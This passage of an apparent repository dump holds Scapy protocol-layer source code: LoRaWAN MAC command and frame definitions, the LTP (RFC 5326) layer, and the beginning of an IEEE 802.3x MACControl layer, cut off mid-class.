 14: \"33 dbm\",\n            15: \"36 dbm\"}\n\n\nDwellTimes = {0: \"No limit\",\n              1: \"400 ms\"}\n\n\nclass EIRP_DwellTime(Packet):\n    name = \"EIRP_DwellTime\"\n    fields_desc = [BitField(\"RFU\", 0b0, 2),\n                   BitEnumField(\"DownlinkDwellTime\", 0b0, 1, DwellTimes),\n                   BitEnumField(\"UplinkDwellTime\", 0b0, 1, DwellTimes),\n                   BitEnumField(\"MaxEIRP\", 0b0000, 4, MaxEIRPs)]\n\n\nclass TxParamSetupReq(Packet):\n    name = \"TxParamSetupReq\"\n    fields_desc = [EIRP_DwellTime]\n\n\nclass TxParamSetupAns(Packet):\n    name = \"TxParamSetupAns\"\n    fields_desc = []\n\n\nclass DlChannelReq(Packet):\n    name = \"DlChannelReq\"\n    fields_desc = [ByteField(\"ChIndex\", 0),\n                   X3BytesField(\"Freq\", 0)]\n\n\nclass DlChannelAns(Packet):\n    name = \"DlChannelAns\"\n    fields_desc = [ByteField(\"Status\", 0)]\n\n\nclass DevLoraWANversion(Packet):\n    name = \"DevLoraWANversion\"\n    fields_desc = [BitField(\"RFU\", 0b0000, 4),\n                   BitField(\"Minor\", 0b0001, 4)]\n\n\nclass RekeyInd(Packet):\n    name = \"RekeyInd\"\n    fields_desc = [PacketListField(\"LoRaWANversion\", b\"\",\n                   DevLoraWANversion, length_from=lambda pkt:1)]\n\n\nclass RekeyConf(Packet):\n    name = \"RekeyConf\"\n    fields_desc = [ByteField(\"ServerVersion\", 0)]\n\n\nclass ADRparam(Packet):\n    name = \"ADRparam\"\n    fields_desc = [BitField(\"Limit_exp\", 0b0000, 4),\n                   BitField(\"Delay_exp\", 0b0000, 4)]\n\n\nclass ADRParamSetupReq(Packet):\n    name = \"ADRParamSetupReq\"\n    fields_desc = [ADRparam]\n\n\nclass ADRParamSetupAns(Packet):\n    name = \"ADRParamSetupReq\"\n    fields_desc = []\n\n\nclass DeviceTimeReq(Packet):\n    name = \"DeviceTimeReq\"\n    fields_desc = []\n\n\nclass DeviceTimeAns(Packet):\n    name = \"DeviceTimeAns\"\n    fields_desc = [IntField(\"SecondsSinceEpoch\", 0),\n                   ByteField(\"FracSecond\", 0x00)]\n\n\nclass ForceRejoinReq(Packet):\n    name = \"ForceRejoinReq\"\n    fields_desc = [BitField(\"RFU\", 0, 2),\n                   BitField(\"Period\", 0, 3),\n                   BitField(\"Max_Retries\", 0, 3),\n                   BitField(\"RFU2\", 0, 1),\n                   BitField(\"RejoinType\", 0, 3),\n                   BitField(\"DR\", 0, 4)]\n\n\nclass RejoinParamSetupReq(Packet):\n    name = \"RejoinParamSetupReq\"\n    fields_desc = [BitField(\"MaxTimeN\", 0, 4),\n                   BitField(\"MaxCountN\", 0, 4)]\n\n\nclass RejoinParamSetupAns(Packet):\n    name = \"RejoinParamSetupAns\"\n    fields_desc = [BitField(\"RFU\", 0, 7),\n                   BitField(\"TimeOK\", 0, 1)]\n\n\n# End of specific 1.1 commands\n\n\nclass MACCommand_up(Packet):\n    name = \"MACCommand_up\"\n    fields_desc = [ByteEnumField(\"CID\", 0, CIDs_up),\n                   ConditionalField(PacketListField(\"Reset\", b\"\",\n                                                    ResetInd,\n                                                    length_from=lambda pkt:1),\n                                    lambda pkt:(pkt.CID == 0x01)),\n                   ConditionalField(PacketListField(\"LinkCheck\", b\"\",\n                                                    LinkCheckReq,\n                                                    length_from=lambda pkt:0),\n                                    lambda pkt:(pkt.CID == 0x02)),\n                   ConditionalField(PacketListField(\"LinkADR\", b\"\",\n                                                    LinkADRReq,\n                                                    length_from=lambda pkt:4),\n                                    lambda pkt:(pkt.CID == 0x03)),\n                   ConditionalField(PacketListField(\"DutyCycle\", b\"\",\n                                                    DutyCycleReq,\n                                                    length_from=lambda pkt:4),\n                                    lambda pkt:(pkt.CID == 0x04)),\n                   ConditionalField(PacketListField(\"RXParamSetup\", b\"\",\n                                                    RXParamSetupReq,\n                                                    length_from=lambda pkt:4),\n                                    lambda pkt:(pkt.CID == 0x05)),\n                   ConditionalField(PacketListField(\"DevStatus\", b\"\",\n                                                    DevStatusReq,\n                                                    length_from=lambda pkt:2),\n                                    lambda pkt:(pkt.CID == 0x06)),\n                   ConditionalField(PacketListField(\"NewChannel\", b\"\",\n                                                    NewChannelReq,\n                                                    length_from=lambda pkt:5),\n                                    lambda pkt:(pkt.CID == 0x07)),\n                   ConditionalField(PacketListField(\"RXTimingSetup\", b\"\",\n                                                    RXTimingSetupReq,\n                                                    length_from=lambda pkt:1),\n                                    lambda pkt:(pkt.CID == 0x08)),\n                   # specific to 1.1 from here\n                   ConditionalField(PacketListField(\"TxParamSetup\", b\"\",\n                                                    TxParamSetupReq,\n                                                    length_from=lambda pkt:1),\n                                    lambda pkt:(pkt.CID == 0x09)),\n                   ConditionalField(PacketListField(\"DlChannel\", b\"\",\n                                                    DlChannelReq,\n                                                    length_from=lambda pkt:4),\n                                    lambda pkt:(pkt.CID == 0x0A)),\n                   ConditionalField(PacketListField(\"Rekey\", b\"\",\n                                                    RekeyInd,\n                                                    length_from=lambda pkt:1),\n                                    lambda pkt:(pkt.CID == 0x0B)),\n                   ConditionalField(PacketListField(\"ADRParamSetup\", b\"\",\n                                                    ADRParamSetupReq,\n                                                    length_from=lambda pkt:1),\n                                    lambda pkt:(pkt.CID == 0x0C)),\n                   ConditionalField(PacketListField(\"DeviceTime\", b\"\",\n                                                    DeviceTimeReq,\n                                                    length_from=lambda pkt:0),\n                                    lambda pkt:(pkt.CID == 0x0D)),\n                   ConditionalField(PacketListField(\"ForceRejoin\", b\"\",\n                                                    ForceRejoinReq,\n                                                    length_from=lambda pkt:2),\n                                    lambda pkt:(pkt.CID == 0x0E)),\n                   ConditionalField(PacketListField(\"RejoinParamSetup\", b\"\",\n                                                    RejoinParamSetupReq,\n                                                    length_from=lambda pkt:1),\n                                    lambda pkt:(pkt.CID == 0x0F))]\n\n    # pylint: disable=R0201\n    def extract_padding(self, p):\n        return \"\", p\n\n\nclass MACCommand_down(Packet):\n    name = \"MACCommand_down\"\n    fields_desc = [ByteEnumField(\"CID\", 0, CIDs_up),\n                   ConditionalField(PacketListField(\"Reset\", b\"\",\n                                                    ResetConf,\n                                                    length_from=lambda pkt:1),\n                                    lambda pkt:(pkt.CID == 0x01)),\n                   ConditionalField(PacketListField(\"LinkCheck\", b\"\",\n                                                    LinkCheckAns,\n                                                    length_from=lambda pkt:2),\n                                    lambda pkt:(pkt.CID == 0x02)),\n                   ConditionalField(PacketListField(\"LinkADR\", b\"\",\n                                                    LinkADRAns,\n                                                    length_from=lambda pkt:0),\n                                    lambda pkt:(pkt.CID == 0x03)),\n                   ConditionalField(PacketListField(\"DutyCycle\", b\"\",\n                                                    DutyCycleAns,\n                                                    length_from=lambda pkt:4),\n                                    lambda pkt:(pkt.CID == 0x04)),\n                   ConditionalField(PacketListField(\"RXParamSetup\", b\"\",\n                                                    RXParamSetupAns,\n                                                    length_from=lambda pkt:1),\n                                    lambda pkt:(pkt.CID == 0x05)),\n                   ConditionalField(PacketListField(\"DevStatusAns\", b\"\",\n                                                    RXParamSetupAns,\n                                                    length_from=lambda pkt:1),\n                                    lambda pkt:(pkt.CID == 0x06)),\n                   ConditionalField(PacketListField(\"NewChannel\", b\"\",\n                                                    NewChannelAns,\n                                                    length_from=lambda pkt:1),\n                                    lambda pkt:(pkt.CID == 0x07)),\n                   ConditionalField(PacketListField(\"RXTimingSetup\", b\"\",\n                                                    RXTimingSetupAns,\n                                                    length_from=lambda pkt:0),\n                                    lambda pkt:(pkt.CID == 0x08)),\n                   ConditionalField(PacketListField(\"TxParamSetup\", b\"\",\n                                                    TxParamSetupAns,\n                                                    length_from=lambda pkt:0),\n                                    lambda pkt:(pkt.CID == 0x09)),\n                   ConditionalField(PacketListField(\"DlChannel\", b\"\",\n                                                    DlChannelAns,\n                                                    length_from=lambda pkt:1),\n                                    lambda pkt:(pkt.CID == 0x0A)),\n                   ConditionalField(PacketListField(\"Rekey\", b\"\",\n                                                    RekeyConf,\n                                                    length_from=lambda pkt:1),\n                                    lambda pkt:(pkt.CID == 0x0B)),\n                   ConditionalField(PacketListField(\"ADRParamSetup\", b\"\",\n                                                    ADRParamSetupAns,\n                                                    length_from=lambda pkt:0),\n                                    lambda pkt:(pkt.CID == 0x0C)),\n                   ConditionalField(PacketListField(\"DeviceTime\", b\"\",\n                                                    DeviceTimeAns,\n                                                    length_from=lambda pkt:5),\n                                    lambda pkt:(pkt.CID == 0x0D)),\n                   ConditionalField(PacketListField(\"RejoinParamSetup\", b\"\",\n                                                    RejoinParamSetupAns,\n                                                    length_from=lambda pkt:1),\n                                    lambda pkt:(pkt.CID == 0x0F))]\n\n\nclass FOpts(Packet):\n    name = \"FOpts\"\n    fields_desc = [ConditionalField(PacketListField(\"FOpts_up\", b\"\",\n                                                    # UL piggy MAC Command\n                                                    MACCommand_up,\n                                                    length_from=lambda pkt:pkt.FCtrl[0].FOptsLen),  # noqa: E501\n                                    lambda pkt:(pkt.FCtrl[0].FOptsLen > 0 and\n                                                pkt.MType & 0b1 == 0 and\n                                                pkt.MType >= 0b010)),\n                   ConditionalField(PacketListField(\"FOpts_down\", b\"\",\n                                                    # DL piggy MAC Command\n                                                    MACCommand_down,\n                                                    length_from=lambda pkt:pkt.FCtrl[0].FOptsLen),  # noqa: E501\n                                    lambda pkt:(pkt.FCtrl[0].FOptsLen > 0 and\n                                                pkt.MType & 0b1 == 1 and\n                                                pkt.MType <= 0b101))]\n\n\ndef FOptsDownShow(pkt):\n    try:\n        if pkt.FCtrl[0].FOptsLen > 0 and pkt.MType & 0b1 == 1 and pkt.MType <= 0b101 and (pkt.MType & 0b101 > 0):  # noqa: E501\n            return True\n        return False\n    except Exception:\n        return False\n\n\ndef FOptsUpShow(pkt):\n    try:\n        if pkt.FCtrl[0].FOptsLen > 0 and pkt.MType & 0b1 == 0 and pkt.MType >= 0b010 and (pkt.MType & 0b110 > 0):  # noqa: E501\n            return True\n        return False\n    except Exception:\n        return False\n\n\nclass FHDR(Packet):\n    name = \"FHDR\"\n    fields_desc = [ConditionalField(PacketListField(\"DevAddr\", b\"\", DevAddrElem,  # noqa: E501\n                                                    length_from=lambda pkt:4),\n                                    lambda pkt:(pkt.MType >= 0b010 and\n                                                pkt.MType <= 0b101)),\n                   ConditionalField(PacketListField(\"FCtrl\", b\"\",\n                                                    FCtrl_Link,\n                                                    length_from=lambda pkt:1),\n                                    lambda pkt:((pkt.MType & 0b1 == 1 and\n                                                pkt.MType <= 0b101 and\n                                                (pkt.MType & 0b10 > 0)) or\n                                                (pkt.MType & 0b1 == 0 and\n                                                pkt.MType >= 0b010))),\n                   ConditionalField(LEShortField(\"FCnt\", 0),\n                                    lambda pkt:(pkt.MType >= 0b010 and\n                                                pkt.MType <= 0b101)),\n                   ConditionalField(PacketListField(\"FOpts_up\", b\"\",\n                                                    MACCommand_up,\n                                                    length_from=lambda pkt:pkt.FCtrl[0].FOptsLen),  # noqa: E501\n                                    FOptsUpShow),\n                   ConditionalField(PacketListField(\"FOpts_down\", b\"\",\n                                                    MACCommand_down,\n                                                    length_from=lambda pkt:pkt.FCtrl[0].FOptsLen),  # noqa: E501\n                                    FOptsDownShow)]\n\n\nFPorts = {0: \"NwkSKey\"}  # anything else is AppSKey\n\n\nJoinReqTypes = {0xFF: \"Join-request\",\n                0x00: \"Rejoin-request type 0\",\n                0x01: \"Rejoin-request type 1\",\n                0x02: \"Rejoin-request type 2\"}\n\n\nclass Join_Request(Packet):\n    name = \"Join_Request\"\n    fields_desc = [StrFixedLenField(\"AppEUI\", b\"\\x00\" * 8, 8),\n                   StrFixedLenField(\"DevEUI\", b\"\\00\" * 8, 8),\n                   LEShortField(\"DevNonce\", 0x0000)]\n\n\nclass Join_Accept(Packet):\n    name = \"Join_Accept\"\n    dcflist = False\n    fields_desc = [XLE3BytesField(\"JoinAppNonce\", 0),\n                   XLE3BytesField(\"NetID\", 0),\n                   XLEIntField(\"DevAddr\", 0),\n                   DLsettings,\n                   XByteField(\"RxDelay\", 0),\n                   ConditionalField(StrFixedLenField(\"CFList\", b\"\\x00\" * 16, 16),  # noqa: E501\n                                    lambda pkt:(Join_Accept.dcflist is True))]\n\n    def extract_padding(self, p):\n        return \"\", p\n\n    def __init__(self, packet=\"\"):  # CFList calculated with rest of packet len\n        if len(packet) > 18:\n            Join_Accept.dcflist = True\n        super(Join_Accept, self).__init__(packet)\n\n\nRejoinType = {0: \"NetID+DevEUI\",\n              1: \"JoinEUI+DevEUI\",\n              2: \"NetID+DevEUI\"}\n\n\nclass RejoinReq(Packet):  # LoRa 1.1 specs\n    name = \"RejoinReq\"\n    fields_desc = [ByteField(\"Type\", 0),\n                   X3BytesField(\"NetID\", 0),\n                   StrFixedLenField(\"DevEUI\", b\"\\x00\" * 8),\n                   XShortField(\"RJcount0\", 0)]\n\n\ndef dpload_type(pkt):\n    if (pkt.MType == 0b101 or pkt.MType == 0b011):\n        return 0  # downlink\n    elif (pkt.MType == 0b100 or pkt.MType == 0b010):\n        return 1  # uplink\n    return None\n\n\ndatapayload_list = [(StrField(\"DataPayload\", \"\", remain=4),\n                     lambda pkt:(dpload_type(pkt) == 0)),\n                    (StrField(\"DataPayload\", \"\", remain=6),\n                     lambda pkt:(dpload_type(pkt) == 1))]\n\n\nclass FRMPayload(Packet):\n    name = \"FRMPayload\"\n    fields_desc = [ConditionalField(MultipleTypeField(datapayload_list,\n                                                      StrField(\"DataPayload\",\n                                                               \"\", remain=4)),\n                                    lambda pkt:(dpload_type(pkt) is not None)),\n                   ConditionalField(PacketListField(\"Join_Request_Field\", b\"\",\n                                                    Join_Request,\n                                                    length_from=lambda pkt:18),\n                                    lambda pkt:(pkt.MType == 0b000)),\n                   ConditionalField(PacketListField(\"Join_Accept_Field\", b\"\",\n                                                    Join_Accept,\n                                                    count_from=lambda pkt:1),\n                                    lambda pkt:(pkt.MType == 0b001 and\n                                                LoRa.encrypted is False)),\n                   ConditionalField(StrField(\"Join_Accept_Encrypted\", 0),\n                                    lambda pkt:(pkt.MType == 0b001 and LoRa.encrypted is True)),  # noqa: E501\n                   ConditionalField(PacketListField(\"ReJoin_Request_Field\", b\"\",  # noqa: E501\n                                                    RejoinReq,\n                                                    length_from=lambda pkt:14),\n                                    lambda pkt:(pkt.MType == 0b111))]\n\n\nclass MACPayload(Packet):\n    name = \"MACPayload\"\n    eFPort = False\n    fields_desc = [FHDR,\n                   ConditionalField(ByteEnumField(\"FPort\", 0, FPorts),\n                                    lambda pkt:(pkt.MType >= 0b010 and\n                                                pkt.MType <= 0b101 and\n                                                pkt.FCtrl[0].FOptsLen == 0)),\n                   FRMPayload]\n\n\nMTypes = {0b000: \"Join-request\",\n          0b001: \"Join-accept\",\n          0b010: \"Unconfirmed Data Up\",\n          0b011: \"Unconfirmed Data Down\",\n          0b100: \"Confirmed Data Up\",\n          0b101: \"Confirmed Data Down\",\n          0b110: \"Rejoin-request\",  # Only in LoRa 1.1 specs\n          0b111: \"Proprietary\"}\n\n\nclass MHDR(Packet):  # Same for 1.0 as for 1.1\n    name = \"MHDR\"\n\n    fields_desc = [BitEnumField(\"MType\", 0b000, 3, MTypes),\n                   BitField(\"RFU\", 0b000, 3),\n                   BitField(\"Major\", 0b00, 2)]\n\n\nclass PHYPayload(Packet):\n    name = \"PHYPayload\"\n    fields_desc = [MHDR,\n                   MACPayload,\n                   MayEnd(ConditionalField(XIntField(\"MIC\", 0),\n                                           lambda pkt: (pkt.MType != 0b001 or\n                                                        LoRa.encrypted is False)))]\n\n\nclass LoRa(Packet):  # default frame (unclear specs => taken from https://www.ncbi.nlm.nih.gov/pmc/articles/PMC5677147/)  # noqa: E501\n    name = \"LoRa\"\n    version = \"1.1\"  # default version to parse\n    encrypted = True\n\n    fields_desc = [XBitField(\"Preamble\", 0, 4),\n                   XBitField(\"PHDR\", 0, 16),\n                   XBitField(\"PHDR_CRC\", 0, 4),\n                   PHYPayload,\n                   ConditionalField(XShortField(\"CRC\", 0),\n                                    lambda pkt:(pkt.MType & 0b1 == 0))]\n"
  },
  {
    "path": "scapy/contrib/ltp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright 2012 (C) The MITRE Corporation\n\n\"\"\"\n.. centered::\n    NOTICE\n    This software/technical data was produced for the U.S. Government\n    under Prime Contract No. NASA-03001 and JPL Contract No. 1295026\n    and is subject to FAR 52.227-14 (6/87) Rights in Data General,\n    and Article GP-51, Rights in Data  General, respectively.\n    This software is publicly released under MITRE case #12-3054\n\"\"\"\n\n# scapy.contrib.description = Licklider Transmission Protocol (LTP)\n# scapy.contrib.status = loads\n\nfrom scapy.packet import Packet, bind_layers, bind_top_down\nfrom scapy.fields import BitEnumField, BitField, BitFieldLenField, \\\n    ByteEnumField, ConditionalField, PacketListField, StrLenField\nfrom scapy.layers.inet import UDP\nfrom scapy.config import conf\nfrom scapy.contrib.sdnv import SDNV2, SDNV2FieldLenField\n\n# LTP https://tools.ietf.org/html/rfc5326\n\n_ltp_flag_vals = {\n    0: '0x0 Red data, NOT (Checkpoint, EORP or EOB)',\n    1: '0x1 Red data, Checkpoint, NOT (EORP or EOB)',\n    2: '0x2 Red data, Checkpoint, EORP, NOT EOB',\n    3: '0x3 Red data, Checkpoint, EORP, EOB',\n    4: '0x4 Green data, NOT EOB',\n    5: '0x5 Green data, undefined',\n    6: '0x6 Green data, undefined',\n    7: '0x7 Green data, EOB',\n    8: '0x8 Report segment',\n    9: '0x9 Report-acknowledgment segmen',\n    10: '0xA Control segment, undefined',\n    11: '0xB Control segment, undefined',\n    12: '0xC Cancel segment from block sender',\n    13: '0xD Cancel-acknowledgment segment to block sender',\n    14: '0xE Cancel segment from block receiver',\n    15: '0xF Cancel-acknowledgment segment to block receiver'}\n\n_ltp_cancel_reasons = {\n    0: 'USR_CNCLD  - Client service canceled session.',\n    1: 'UNREACH    - Unreachable client service.',\n    2: 'RLEXC      - Retransmission limit exceeded.',\n    3: 'MISCOLORED - Received miscolored segment.',\n    4: 'SYS_CNCLD  - System error condition.',\n    5: 'RXMTCYCEXC - Exceeded the retransmission cycles limit.',\n    6: 'RESERVED'}   # Reserved 0x06-0xFF\n\n# LTP Extensions https://tools.ietf.org/html/rfc5327\n\n_ltp_extension_tag = {\n    0: 'LTP authentication extension',\n    1: 'LTP cookie extension'\n}\n\n_ltp_data_segment = [0, 1, 2, 3, 4, 5, 6, 7]\n_ltp_checkpoint_segment = [1, 2, 3]\n\n_ltp_payload_conditions = {}\n\n\ndef ltp_bind_payload(cls, lambd):\n    \"\"\"Bind payload class to the LTP packets.\n\n    :param cls: the class to bind\n    :param lambd: lambda that will be called to check\n        whether or not the cls should be used\n        ex: lambda pkt: ...\n    \"\"\"\n    _ltp_payload_conditions[cls] = lambd\n\n\nclass LTPex(Packet):\n    name = \"LTP Extension\"\n    fields_desc = [\n        ByteEnumField(\"ExTag\", 0, _ltp_extension_tag),\n        SDNV2FieldLenField(\"ExLength\", None, length_of=\"ExData\"),\n        # SDNV2FieldLenField\n        StrLenField(\"ExData\", \"\", length_from=lambda x: x.ExLength)\n    ]\n\n    def default_payload_class(self, pay):\n        return conf.padding_layer\n\n\nclass LTPReceptionClaim(Packet):\n    name = \"LTP Reception Claim\"\n    fields_desc = [SDNV2(\"ReceptionClaimOffset\", 0),\n                   SDNV2(\"ReceptionClaimLength\", 0)]\n\n    def default_payload_class(self, pay):\n        return conf.padding_layer\n\n\ndef _ltp_guess_payload(pkt, *args):\n    for k, v in _ltp_payload_conditions.items():\n        if v(pkt):\n            return k\n    return conf.raw_layer\n\n\nclass LTP(Packet):\n    name = \"LTP\"\n    fields_desc = [\n        BitField('version', 0, 4),\n        BitEnumField('flags', 0, 4, _ltp_flag_vals),\n        SDNV2(\"SessionOriginator\", 0),\n        SDNV2(\"SessionNumber\", 0),\n        BitFieldLenField(\"HeaderExtensionCount\", None, 4, count_of=\"HeaderExtensions\"),  # noqa: E501\n        BitFieldLenField(\"TrailerExtensionCount\", None, 4, count_of=\"TrailerExtensions\"),  # noqa: E501\n        PacketListField(\"HeaderExtensions\", [], LTPex, count_from=lambda x: x.HeaderExtensionCount),  # noqa: E501\n        #\n        # LTP segments containing data have a DATA header\n        #\n        ConditionalField(SDNV2(\"DATA_ClientServiceID\", 0),\n                         lambda x: x.flags in _ltp_data_segment),\n        ConditionalField(SDNV2(\"DATA_PayloadOffset\", 0),\n                         lambda x: x.flags in _ltp_data_segment),\n        ConditionalField(SDNV2FieldLenField(\"DATA_PayloadLength\", None, length_of=\"LTP_Payload\"),  # noqa: E501\n                         lambda x: x.flags in _ltp_data_segment),\n        #\n        # LTP segments that are checkpoints will have a checkpoint serial number and report serial number.  # noqa: E501\n        #\n        ConditionalField(SDNV2(\"CheckpointSerialNo\", 0),\n                         lambda x: x.flags in _ltp_checkpoint_segment),\n        #\n        # For segments that are checkpoints or reception reports.\n        #\n        ConditionalField(SDNV2(\"ReportSerialNo\", 0),\n                         lambda x: x.flags in _ltp_checkpoint_segment \\\n                         or x.flags == 8),\n        #\n        # Then comes the actual payload for data carrying segments.\n        #\n        ConditionalField(PacketListField(\"LTP_Payload\", None, next_cls_cb=_ltp_guess_payload,  # noqa: E501\n                                         length_from=lambda x: x.DATA_PayloadLength),  # noqa: E501\n                         lambda x: x.flags in _ltp_data_segment),\n        #\n        # Report ACKS acknowledge a particular report serial number.\n        #\n        ConditionalField(SDNV2(\"RA_ReportSerialNo\", 0),\n                         lambda x: x.flags == 9),\n        #\n        # Reception reports have the following fields,\n        # excluding ReportSerialNo defined above.\n        #\n        ConditionalField(SDNV2(\"ReportCheckpointSerialNo\", 0),\n                         lambda x: x.flags == 8),\n        ConditionalField(SDNV2(\"ReportUpperBound\", 0),\n                         lambda x: x.flags == 8),\n        ConditionalField(SDNV2(\"ReportLowerBound\", 0),\n                         lambda x: x.flags == 8),\n        ConditionalField(SDNV2FieldLenField(\"ReportReceptionClaimCount\", None, count_of=\"ReportReceptionClaims\"),  # noqa: E501\n                         lambda x: x.flags == 8),\n        ConditionalField(PacketListField(\"ReportReceptionClaims\", [], LTPReceptionClaim,  # noqa: E501\n                                         count_from=lambda x: x.ReportReceptionClaimCount),  # noqa: E501\n                         lambda x: x.flags == 8 and (not x.ReportReceptionClaimCount or x.ReportReceptionClaimCount > 0)),  # noqa: E501\n        #\n        # Cancellation Requests\n        #\n        ConditionalField(ByteEnumField(\"CancelFromSenderReason\",\n                                       15, _ltp_cancel_reasons),\n                         lambda x: x.flags == 12),\n        ConditionalField(ByteEnumField(\"CancelFromReceiverReason\",\n                                       15, _ltp_cancel_reasons),\n                         lambda x: x.flags == 14),\n        #\n        # Finally, trailing extensions\n        #\n        PacketListField(\"TrailerExtensions\", [], LTPex, count_from=lambda x: x.TrailerExtensionCount)  # noqa: E501\n    ]\n\n    def mysummary(self):\n        return self.sprintf(\"LTP %SessionNumber%\"), [UDP]\n\n\nbind_top_down(UDP, LTP, sport=1113)\nbind_top_down(UDP, LTP, dport=1113)\nbind_top_down(UDP, LTP, sport=2113)\nbind_top_down(UDP, LTP, dport=2113)\nbind_layers(UDP, LTP, sport=1113, dport=1113)\n"
  },
  {
    "path": "scapy/contrib/mac_control.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# scapy.contrib.description = MACControl\n# scapy.contrib.status = loads\n\n\"\"\"\n    MACControl\n    ~~~~~~~~~~\n\n    :author:    Thomas Tannhaeuser, hecke@naberius.de\n\n    :description:\n\n        This module provides Scapy layers for the MACControl protocol messages:\n            - Pause\n            - Gate\n            - Report\n            - Register/REQ/ACK\n            - Class Based Flow Control\n\n        normative references:\n            - IEEE 802.3x\n\n\n    :NOTES:\n        - this is based on the MACControl dissector used by Wireshark\n          (https://github.com/wireshark/wireshark/blob/master/epan/dissectors/packet-maccontrol.c)\n\n\"\"\"\n\nfrom scapy.compat import orb\nfrom scapy.data import ETHER_TYPES\nfrom scapy.error import Scapy_Exception\nfrom scapy.fields import IntField, ByteField, ByteEnumField, ShortField, BitField  # noqa: E501\nfrom scapy.layers.dot11 import Packet\nfrom scapy.layers.l2 import Ether, Dot1Q, bind_layers\n\nMAC_CONTROL_ETHER_TYPE = 0x8808\nETHER_TYPES[MAC_CONTROL_ETHER_TYPE] = 'MAC_CONTROL'\n\nETHER_SPEED_MBIT_10 = 0x01\nETHER_SPEED_MBIT_100 = 0x02\nETHER_SPEED_MBIT_1000 = 0x04\n\n\nclass MACControl(Packet):\n    DEFAULT_DST_MAC = \"01:80:c2:00:00:01\"\n\n    OP_CODE_PAUSE = 0x0001\n    OP_CODE_GATE = 0x0002\n    OP_CODE_REPORT = 0x0003\n    OP_CODE_REGISTER_REQ = 0x0004\n    OP_CODE_REGISTER = 0x0005\n    OP_CODE_REGISTER_ACK = 0x0006\n    OP_CODE_CLASS_BASED_FLOW_CONTROL = 0x0101\n\n    OP_CODES = {\n        OP_CODE_PAUSE: 'pause',\n        OP_CODE_GATE: 'gate',\n        OP_CODE_REPORT: 'report',\n        OP_CODE_REGISTER_REQ: 'register req',\n        OP_CODE_REGISTER: 'register',\n        OP_CODE_REGISTER_ACK: 'register_ack',\n        OP_CODE_CLASS_BASED_FLOW_CONTROL: 'class based flow control'\n    }\n\n    '''\n    flags used by Register* messages\n    '''\n    FLAG_REGISTER = 0x01\n    FLAG_DEREGISTER = 0x02\n    FLAG_ACK = 0x03\n    FLAG_NACK = 0x04\n\n    REGISTER_FLAGS = {\n        FLAG_REGISTER: 'register',\n        FLAG_DEREGISTER: 'deregister',\n        FLAG_ACK: 'ack',\n        FLAG_NACK: 'nack'\n    }\n\n    def guess_payload_class(self, payload):\n\n        try:\n            op_code = (orb(payload[0]) << 8) + orb(payload[1])\n            return MAC_CTRL_CLASSES[op_code]\n        except KeyError:\n            pass\n\n        return Packet.guess_payload_class(self, payload)\n\n    def _get_underlayers_size(self):\n        \"\"\"\n        get the total size of all under layers\n        :return: number of bytes\n        \"\"\"\n\n        under_layer = self.underlayer\n\n        under_layers_size = 0\n\n        while under_layer and isinstance(under_layer, Dot1Q):\n            under_layers_size += 4\n            under_layer = under_layer.underlayer\n\n        if under_layer and isinstance(under_layer, Ether):\n            # ether header len + FCS len\n            under_layers_size += 14 + 4\n\n        return under_layers_size\n\n    def post_build(self, pkt, pay):\n        \"\"\"\n        add padding to the frame if required.\n\n        note that padding is only added if pay is None/empty. this allows us to add  # noqa: E501\n        any payload after the MACControl* PDU if needed (piggybacking).\n        \"\"\"\n\n        if not pay:\n            under_layers_size = self._get_underlayers_size()\n\n            frame_size = (len(pkt) + under_layers_size)\n\n            if frame_size < 64:\n                return pkt + b'\\x00' * (64 - frame_size)\n\n        return pkt + pay\n\n\nclass MACControlInvalidSpeedException(Scapy_Exception):\n    pass\n\n\nclass MACControlPause(MACControl):\n    fields_desc = [\n        ShortField(\"_op_code\", MACControl.OP_CODE_PAUSE),\n        ShortField(\"pause_time\", 0),\n    ]\n\n    def get_pause_time(self, speed=ETHER_SPEED_MBIT_1000):\n        \"\"\"\n        get pause time for given link speed in seconds\n\n        :param speed: select link speed to get the pause time for, must be ETHER_SPEED_MBIT_[10,100,1000]  # noqa: E501\n        :return: pause time in seconds\n        :raises MACControlInvalidSpeedException: on invalid speed selector\n        \"\"\"\n\n        try:\n            return self.pause_time * {\n                ETHER_SPEED_MBIT_10: (0.0000001 * 512),\n                ETHER_SPEED_MBIT_100: (0.00000001 * 512),\n                ETHER_SPEED_MBIT_1000: (0.000000001 * 512 * 2)\n            }[speed]\n        except KeyError:\n            raise MACControlInvalidSpeedException('Invalid speed selector given. '  # noqa: E501\n                                                  'Must be one of ETHER_SPEED_MBIT_[10,100,1000]')  # noqa: E501\n\n\nclass MACControlGate(MACControl):\n    fields_desc = [\n        ShortField(\"_op_code\", MACControl.OP_CODE_GATE),\n        IntField(\"timestamp\", 0)\n    ]\n\n\nclass MACControlReport(MACControl):\n    fields_desc = [\n        ShortField(\"_op_code\", MACControl.OP_CODE_REPORT),\n        IntField(\"timestamp\", 0),\n        ByteEnumField('flags', 0, MACControl.REGISTER_FLAGS),\n        ByteField('pending_grants', 0)\n    ]\n\n\nclass MACControlRegisterReq(MACControl):\n    fields_desc = [\n        ShortField(\"_op_code\", MACControl.OP_CODE_REGISTER_REQ),\n        IntField(\"timestamp\", 0),\n        ShortField('assigned_port', 0),\n        ByteEnumField('flags', 0, MACControl.REGISTER_FLAGS),\n        ShortField('sync_time', 0),\n        ByteField('echoed_pending_grants', 0)\n    ]\n\n\nclass MACControlRegister(MACControl):\n    fields_desc = [\n        ShortField(\"_op_code\", MACControl.OP_CODE_REGISTER),\n        IntField(\"timestamp\", 0),\n        ByteEnumField('flags', 0, MACControl.REGISTER_FLAGS),\n        ShortField('echoed_assigned_port', 0),\n        ShortField('echoed_sync_time', 0)\n    ]\n\n\nclass MACControlRegisterAck(MACControl):\n    fields_desc = [\n        ShortField(\"_op_code\", MACControl.OP_CODE_REGISTER_ACK),\n        IntField(\"timestamp\", 0),\n        ByteEnumField('flags', 0, MACControl.REGISTER_FLAGS),\n        ShortField('echoed_assigned_port', 0),\n        ShortField('echoed_sync_time', 0)\n    ]\n\n\nclass MACControlClassBasedFlowControl(MACControl):\n    fields_desc = [\n        ShortField(\"_op_code\", MACControl.OP_CODE_CLASS_BASED_FLOW_CONTROL),\n        ByteField(\"_reserved\", 0),\n        BitField('c7_enabled', 0, 1),\n        BitField('c6_enabled', 0, 1),\n        BitField('c5_enabled', 0, 1),\n        BitField('c4_enabled', 0, 1),\n        BitField('c3_enabled', 0, 1),\n        